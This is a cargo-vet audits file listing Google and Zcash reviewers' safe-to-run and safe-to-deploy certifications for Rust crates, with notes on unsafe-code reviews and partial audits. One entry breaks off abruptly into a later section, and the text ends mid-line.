"https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.cast]] +who = "George Burgess IV " +criteria = "safe-to-run" +version = "0.3.0" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.cpp_demangle]] +who = "Hidenori Kobayashi " +criteria = "safe-to-run" +version = "0.4.3" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.crc32fast]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +version = "1.4.2" +notes = """ +Security review of earlier versions of the crate can be found at +(Google-internal, sorry): go/image-crate-chromium-security-review + +Audit comments for 1.4.2 can be found at https://crrev.com/c/4723145. +""" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.crossbeam-deque]] +who = "George Burgess IV " +criteria = "safe-to-run" +version = "0.8.3" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.crossbeam-epoch]] +who = "George Burgess IV " +criteria = "safe-to-run" +version = "0.9.14" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.crossbeam-epoch]] +who = "George Burgess IV " +criteria = "safe-to-run" +delta = "0.9.14 -> 0.9.15" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.equivalent]] +who = "George Burgess IV " +criteria = "safe-to-deploy" +version = "1.0.1" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.fastrand]] +who = "George Burgess IV " +criteria = "safe-to-deploy" +version = "1.9.0" +notes = """ +`does-not-implement-crypto` is certified because this crate explicitly says +that the RNG here is not cryptographically secure. +""" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.flate2]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +version = "1.0.30" +notes = ''' +WARNING: This certification is a result of a **partial** audit. The +`any_zlib` code has **not** been audited. Ability to track partial +audits is tracked in https://github.com/mozilla/cargo-vet/issues/380 +Chromium does use the `any_zlib` feature(s). Accidentally depending on +this feature in the future is prevented using the `ban_features` feature +of `gnrt` - see: +https://crrev.com/c/4723145/31/third_party/rust/chromium_crates_io/gnrt_config.toml + +Security review of earlier versions of the crate can be found at +(Google-internal, sorry): go/image-crate-chromium-security-review + +I grepped for `-i cipher`, `-i crypto`, `'\bfs\b'`, `'\bnet\b'`, `'\bunsafe\b'`. + +All `unsafe` in `flate2` is gated behind `#[cfg(feature = "any_zlib")]`: + +* The code under `src/ffi/...` will not be used because the `mod c` + declaration in `src/ffi/mod.rs` depends on the `any_zlib` config +* 7 uses of `unsafe` in `src/mem.rs` also all depend on the + `any_zlib` config: + - 2 in `fn set_dictionary` (under `impl Compress`) + - 2 in `fn set_level` (under `impl Compress`) + - 3 in `fn set_dictionary` (under `impl Decompress`) + +All hits of `'\bfs\b'` are in comments, or example code, or test code +(but not in product code). + +There were no hits of `-i cipher`, `-i crypto`, `'\bnet\b'`. +''' +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.flate2]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +delta = "1.0.30 -> 1.0.31" +notes = """ +WARNING: This certification is a result of a **partial** audit. The +`any_zlib` code has **not** been audited. See the audit of 1.0.30 for +more details. + +Only benign changes: + +* Comment-only changes in `.rs` files +* Also changing dependency version in `Cargo.toml`, but this is for `any_zlib` + feature which is not used in Chromium (i.e. this is a *partial* audit - see + the previous audit notes for 1.0.30) +""" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.flate2]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +delta = "1.0.31 -> 1.0.33" +notes = """ +WARNING: This certification is a result of a **partial** audit. The +`any_zlib` code has **not** been audited. See the audit of 1.0.30 for +more details. + +This delta audit has been reviewed in https://crrev.com/c/5811890 +The delta can be seen at https://diff.rs/flate2/1.0.31/1.0.33 +The delta bumps up `miniz_oxide` dependency to `0.8.0` +The delta also contains some changes to `src/ffi/c.rs` which is *NOT* used by Chromium +and therefore hasn't been covered by this partial audit. +""" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.flate2]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +delta = "1.0.33 -> 1.0.34" +notes = """ +WARNING: This certification is a result of a **partial** audit. The +`any_zlib` code has **not** been audited. See the audit of 1.0.30 for +more details. + +The delta can be seen at https://diff.rs/flate2/1.0.33/1.0.34 +The delta bumps up `libz-rs-sys` dependency from `0.2.1` to `0.3.0` +The delta in `lib.rs` only tweaks comments and has no code changes. +The delta also contains some changes to `src/ffi/c.rs` which is *NOT* used by Chromium +and therefore hasn't been covered by this partial audit. +""" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.futures]] +who = "George Burgess IV " +criteria = "safe-to-deploy" +version = "0.3.28" +notes = """ +`futures` has no logic other than tests - it simply `pub use`s things from +other crates. +""" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.gimli]] +who = "George Burgess IV " +criteria = "safe-to-run" +version = "0.27.3" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.glob]] +who = "George Burgess IV " +criteria = "safe-to-deploy" +version = "0.3.1" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.itertools]] +who = "ChromeOS" +criteria = "safe-to-run" +version = "0.10.5" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.itoa]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +version = "1.0.10" +notes = ''' +I grepped for \"crypt\", \"cipher\", \"fs\", \"net\" - there were no hits. + +There are a few places where `unsafe` is used. Unsafe review notes can be found +in https://crrev.com/c/5350697. + +Version 1.0.1 of this crate has been added to Chromium in +https://crrev.com/c/3321896. +''' +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.itoa]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +delta = "1.0.10 -> 1.0.11" +notes = """ +Straightforward diff between 1.0.10 and 1.0.11 - only 3 commits: + +* Bumping up the version +* A touch up of comments +* And my own PR to make `unsafe` blocks more granular: + https://github.com/dtolnay/itoa/pull/42 +""" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.lazy_static]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +version = "1.4.0" +notes = ''' +I grepped for \"crypt\", \"cipher\", \"fs\", \"net\" - there were no hits. + +There are two places where `unsafe` is used. Unsafe review notes can be found +in https://crrev.com/c/5347418. + +This crate has been added to Chromium in https://crrev.com/c/3321895. +''' +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.lazy_static]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +delta = "1.4.0 -> 1.5.0" +notes = "Unsafe review notes: https://crrev.com/c/5650836" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.log]] +who = "danakj " +criteria = "safe-to-deploy" +version = "0.4.22" +notes = """ +Unsafe review in https://docs.google.com/document/d/1IXQbD1GhTRqNHIGxq6yy7qHqxeO4CwN5noMFXnqyDIM/edit?usp=sharing + +Unsafety is generally very well-documented, with one exception, which we +describe in the review doc. +""" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.memmap2]] +who = "Ying Hsu " +criteria = "safe-to-run" +version = "0.8.0" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.miniz_oxide]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +version = "0.7.4" +notes = ''' +Grepped for `-i cipher`, `-i crypto`, `'\bfs\b'`, `'\bnet\b'`, `'\bunsafe\b'` +and there were no hits, except for some mentions of "unsafe" in the `README.md` +and in a comment in `src/deflate/core.rs`. The comment discusses whether a +function should be treated as unsafe, but there is no actual `unsafe` code, so +the crate meets the `ub-risk-0` criteria. + +Note that some additional, internal notes about an older version of this crate +can be found at go/image-crate-chromium-security-review. +''' +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.nix]] +who = "David Koloski " +criteria = "safe-to-run" +version = "0.26.2" +notes = """ +Reviewed on https://fxrev.dev/780283 +Issues: +- https://github.com/nix-rust/nix/issues/1975 +- https://github.com/nix-rust/nix/issues/1977 +- https://github.com/nix-rust/nix/pull/1978 +- https://github.com/nix-rust/nix/pull/1979 +- https://github.com/nix-rust/nix/issues/1980 +- https://github.com/nix-rust/nix/issues/1981 +- https://github.com/nix-rust/nix/pull/1983 +- https://github.com/nix-rust/nix/issues/1990 +- https://github.com/nix-rust/nix/pull/1992 +- https://github.com/nix-rust/nix/pull/1993 +""" +aggregated-from = "https://fuchsia.googlesource.com/fuchsia/+/refs/heads/main/third_party/rust_crates/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.nom]] +who = "danakj@chromium.org" +criteria = "safe-to-deploy" +version = "7.1.3" +notes = """ +Reviewed in https://chromium-review.googlesource.com/c/chromium/src/+/5046153 +""" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.normalize-line-endings]] +who = "Max Lee " +criteria = "safe-to-run" +version = "0.3.0" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.num-iter]] +who = "George Burgess IV " +criteria = "safe-to-deploy" +version = "0.1.43" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.pin-project-lite]] +who = "David Koloski " +criteria = "safe-to-deploy" +version = "0.2.9" +notes = "Reviewed on https://fxrev.dev/824504" +aggregated-from = "https://fuchsia.googlesource.com/fuchsia/+/refs/heads/main/third_party/rust_crates/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.pin-project-lite]] +who = "David Koloski " +criteria = "safe-to-deploy" +delta = "0.2.9 -> 0.2.13" +notes = "Audited at https://fxrev.dev/946396" +aggregated-from = "https://fuchsia.googlesource.com/fuchsia/+/refs/heads/main/third_party/rust_crates/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.proc-macro2]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +version = "1.0.78" +notes = """ +Grepped for \"crypt\", \"cipher\", \"fs\", \"net\" - there were no hits +(except for a benign \"fs\" hit in a doc comment) + +Notes from the `unsafe` review can be found in https://crrev.com/c/5385745. +""" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.proc-macro2]] +who = "Adrian Taylor " +criteria = "safe-to-deploy" +delta = "1.0.78 -> 1.0.79" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.proc-macro2]] +who = "Adrian Taylor " +criteria = "safe-to-deploy" +delta = "1.0.79 -> 1.0.80" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.proc-macro2]] +who = "Dustin J. Mitchell " +criteria = "safe-to-deploy" +delta = "1.0.80 -> 1.0.81" +notes = "Comment changes only" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.proc-macro2]] +who = "danakj " +criteria = "safe-to-deploy" +delta = "1.0.81 -> 1.0.82" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.proc-macro2]] +who = "Dustin J. Mitchell " +criteria = "safe-to-deploy" +delta = "1.0.82 -> 1.0.83" +notes = "Substantive change is replacing String with Box, saving memory." +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.proc-macro2]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +delta = "1.0.83 -> 1.0.84" +notes = "Only doc comment changes in `src/lib.rs`." +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.proc-macro2]] +who = "danakj@chromium.org" +criteria = "safe-to-deploy" +delta = "1.0.84 -> 1.0.85" +notes = "Test-only changes." +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.proc-macro2]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +delta = "1.0.85 -> 1.0.86" +notes = """ +Comment-only changes in `build.rs`. +Reordering of `Cargo.toml` entries. +Just bumping up the version number in `lib.rs`. +Config-related changes in `test_size.rs`. +""" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.proc-macro2]] +who = "danakj " +criteria = "safe-to-deploy" +delta = "1.0.86 -> 1.0.87" +notes = "No new unsafe interactions." +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.proc-macro2]] +who = "Liza Burakova `. +""" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.futures-util]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.3.29 -> 0.3.30" +notes = """ +- Removes `build.rs` now that it can rely on the `target_has_atomic` attribute. +- Almost all changes to `unsafe` blocks are to either move them around, or + replace them with safe method calls. +- One new `unsafe` block is added for a slice lifetime transmutation. The slice + reconstruction is obviously correct. AFAICT the lifetime transmutation is also + correct; the slice's lifetime logically comes from the `AsyncBufRead` reader + inside `FillBuf`, rather than the `Context`. +""" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.generic-array]] +who = "Sean Bowe " +criteria = "safe-to-deploy" +delta = "0.14.6 -> 0.14.7" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.half]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-run" +delta = "1.8.2 -> 2.2.1" +notes = """ +All new uses of unsafe are either just accessing bit representations, or plausibly reasonable uses of intrinsics. I have not checked safety +requirements on the latter. +""" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.hashbrown]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "0.14.2 -> 0.14.5" +notes = "I did not thoroughly check the safety argument for fold_impl, but it at least seems to be well documented." +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.hermit-abi]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "0.3.3 -> 0.3.9" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.inferno]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-run" +delta = "0.11.17 -> 0.11.19" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.inout]] +who = "Daira Hopwood " +criteria = "safe-to-deploy" +version = "0.1.3" +notes = "Reviewed in full." +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.js-sys]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.3.60 -> 0.3.61" +notes = """ +- Adds `i64` variants of existing `Atomics` methods, which I checked them against. +- Adds `Array.length` setter and `Intl.RelativeTimeFormat`; I checked these against their + MDN documentation. +""" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.js-sys]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.3.61 -> 0.3.64" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.js-sys]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.3.64 -> 0.3.66" +notes = """ +- Fixes the `BigInt64Array` variants of the existing `Atomics.wait` method. +- Adds `Atomics.waitAsync`, the `DataView` constructor variant that takes + `SharedArrayBuffer`, and `WebAssembly.Exception`; I checked these against their + MDN documentation. +""" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.js-sys]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "0.3.66 -> 0.3.69" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.libm]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.2.7 -> 0.2.8" +notes = "Forces some intermediate values to not have too much precision on the x87 FPU." +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.libredox]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "0.0.1 -> 0.1.3" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.memchr]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "2.6.3 -> 2.6.4" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.memchr]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "2.6.4 -> 2.7.1" +notes = """ +Change to an `unsafe fn` is to rework the short-tail handling of a fixed-length +comparison between `u8` pointers. The new tail code matches the existing head +code (but adapted to `u16` and `u8` reads, instead of `u32`). +""" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.memchr]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "2.7.1 -> 2.7.2" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.memchr]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "2.7.2 -> 2.7.4" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.memmap2]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.9.3 -> 0.9.4" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.nix]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.26.1 -> 0.26.2" +notes = "Fixes `SockaddrIn6` endianness bug." +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.nix]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.26.2 -> 0.26.4" +notes = """ +Most of the `unsafe` changes are cleaning up their usage: +- Replacing `data.len() * std::mem::size_of::<$ty>()` with `std::mem::size_of_val(data)`. +- Removing some `mem::transmute`s. +- Using `*mut` instead of `*const` to convey intended semantics. + +A new unsafe trait method `SockaddrLike::set_length` is added; it's impls look fine. +""" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.oorandom]] +who = "Jack Grigg " +criteria = "safe-to-run" +delta = "11.1.3 -> 11.1.4" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.opaque-debug]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "0.3.0 -> 0.3.1" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.parking_lot]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.12.2 -> 0.12.3" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.pin-project-internal]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "1.1.3 -> 1.1.5" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.pin-project-lite]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "0.2.13 -> 0.2.14" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.pkg-config]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "0.3.29 -> 0.3.30" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.rand_xorshift]] +who = "Sean Bowe " +criteria = "safe-to-deploy" +version = "0.3.0" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.regex]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.9.5 -> 1.10.2" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.regex]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "1.10.2 -> 1.10.4" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.regex]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.10.4 -> 1.10.5" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.regex-automata]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.3.8 -> 0.4.3" +notes = """ +There were additions to an `unsafe` trait, but the new code itself doesn't use +any `unsafe` functions. +""" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.regex-automata]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "0.4.3 -> 0.4.6" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.regex-automata]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.4.6 -> 0.4.7" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.regex-syntax]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.7.2 -> 0.7.5" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.regex-syntax]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.7.5 -> 0.8.2" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.regex-syntax]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "0.8.2 -> 0.8.3" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.regex-syntax]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.8.3 -> 0.8.4" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.rustc_version]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +version = "0.4.0" +notes = """ +Most of the crate is code to parse and validate the output of `rustc -vV`. The caller can +choose which `rustc` to use, or can use `rustc_version::{version, version_meta}` which will +try `$RUSTC` followed by `rustc`. + +If an adversary can arbitrarily set the `$RUSTC` environment variable then this crate will +execute arbitrary code. But when this crate is used within a build script, `$RUSTC` should +be set correctly by `cargo`. +""" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.rustc_version]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.4.0 -> 0.4.1" +notes = "Changes to `Command` usage are to add support for `RUSTC_WRAPPER`." +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.ryu]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.15 -> 1.0.16" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.ryu]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "1.0.16 -> 1.0.17" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.ryu]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-run" +delta = "1.0.17 -> 1.0.18" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.semver]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.17 -> 1.0.18" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.semver]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.18 -> 1.0.19" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.semver]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.19 -> 1.0.20" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.semver]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "1.0.20 -> 1.0.22" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.semver]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.22 -> 1.0.23" +notes = """ +`build.rs` change is to enable checking for expected `#[cfg]` names if compiling +with Rust 1.80 or later. +""" +aggregated-from = "https://raw.githubusercontent.com/zcash/librustzcash/main/supply-chain/audits.toml" + +[[audits.zcash.audits.serde_json]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "1.0.108 -> 1.0.110" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.serde_json]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "1.0.110 -> 1.0.116" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.signature]] +who = "Daira Emma Hopwood " +criteria = "safe-to-deploy" +version = "2.1.0" +notes = """ +This crate uses `#![forbid(unsafe_code)]`, has no build script, and only provides traits with some trivial default implementations. +I did not review whether implementing these APIs would present any undocumented cryptographic hazards. +""" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.signature]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "2.1.0 -> 2.2.0" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.smallvec]] +who = "Daira-Emma Hopwood " +criteria = "safe-to-deploy" +delta = "1.11.1 -> 1.13.2" +aggregated-from = 